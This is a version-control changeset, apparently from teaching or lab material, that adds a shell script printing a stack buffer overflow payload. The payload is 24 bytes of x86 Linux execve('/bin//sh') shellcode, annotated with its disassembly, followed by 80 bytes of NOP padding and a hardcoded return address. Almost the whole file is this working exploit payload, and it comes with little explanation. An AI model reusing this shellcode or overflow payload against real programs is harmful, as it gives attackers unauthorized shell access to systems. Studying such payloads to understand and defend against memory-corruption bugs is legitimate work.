Attic/programs/args3
changeset 201 f7a9837a63b8
parent 200 17852f5397fd
child 202 6740798264c1
equal deleted inserted replaced
200:17852f5397fd 201:f7a9837a63b8
     1 #!/bin/sh
       
     2 
       
     3 # shellscript that overwrites the buffer with 
       
     4 # some payload for opening a shell (the payload
       
     5 # cannot contain any \x00)
       
     6 
       
     7 
       
     8 shellcode="\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x99\x52\x53\x89\xe1\xb0\x0b\xcd\x80" 
       
     9 
       
    10 # 24 bytes of shellcode
       
    11 
       
    12 # "\x31\xc0"                      // xorl         %eax,%eax
       
    13 # "\x50"                          // pushl        %eax
       
    14 # "\x68\x6e\x2f\x73\x68"          // pushl        $0x68732f6e
       
    15 # "\x68\x2f\x2f\x62\x69"          // pushl        $0x69622f2f
       
    16 # "\x89\xe3"                      // movl         %esp,%ebx
       
    17 # "\x99"                          // cltd
       
    18 # "\x52"                          // pushl        %edx
       
    19 # "\x53"                          // pushl        %ebx
       
    20 # "\x89\xe1"                      // movl         %esp,%ecx
       
    21 # "\xb0\x0b"                      // movb         $0xb,%al
       
    22 # "\xcd\x80"                      // int          $0x80
       
    23 
       
    24 padding=`perl -e 'print "\x90" x 80'`
       
    25 
       
    26 # need s correct address in order to run
       
    27 printf $shellcode$padding"\xe8\xf8\xff\xbf\x00\x00\x00\x00"
       
    28